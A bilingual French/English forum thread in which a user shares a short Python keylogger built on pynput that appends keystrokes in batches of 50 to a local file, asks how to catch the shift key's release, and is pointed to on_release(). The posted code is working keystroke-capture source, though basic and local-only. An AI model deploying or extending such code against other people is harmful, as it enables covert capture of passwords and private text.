Keylogger function on_remove_key() Fr/En [Résolu]

Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
- - Dernière réponse : Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
- 23 sept. 2019 à 19:47
Français :

Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :



from pynput.keyboard import Key, Listener


def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"

keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()


def on_release(key):
if key == Key.esc:
return False


with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()



Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?

English :

Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :


from pynput.keyboard import Key, Listener


def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"

keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()


def on_release(key):
if key == Key.esc:
return False


with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()


The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?

Merci :)
Thanks :)
Afficher la suite 

1 réponse

Messages postés
8706
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
15 octobre 2019
435
0
Merci
bonjour, quel est ton soucis avec la création de cette fonction?
peux-tu utiliser les balises de code quand tu postes du code?
Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
-
Et bien je ne sais pas comment envoyer le signal : "bouton shift remove"
yg_be
Messages postés
8706
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
15 octobre 2019
435 > Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
-
tu voudrais que ton programme traite l’événement "retirer la touche shift"? as-tu essayé de programmer la fonction on_release? c'est quoi "on remove"?
tu n'as pas expliqué ce que ton programme devrait faire avec cet événement.
Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
-
... J'ai tt compris... ^^' excuse moi en fait je ne savais pas ce qu'etait la fonction on_release()... comme je ne suis pas bon en anglais je ne comprenais pas le mot release... Excuse moi de t'avoir deranger. ^^'
yg_be
Messages postés
8706
Date d'inscription
lundi 9 juin 2008
Statut
Contributeur
Dernière intervention
15 octobre 2019
435 > Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
-
tb, peux-tu alors marquer je sujet comme résolu, via la roue dentée à droite du titre?
Sinage
Messages postés
4
Date d'inscription
lundi 23 septembre 2019
Statut
Membre
Dernière intervention
23 septembre 2019
-
Ah oui pardon j'ai oublié
Commenter la réponse de yg_be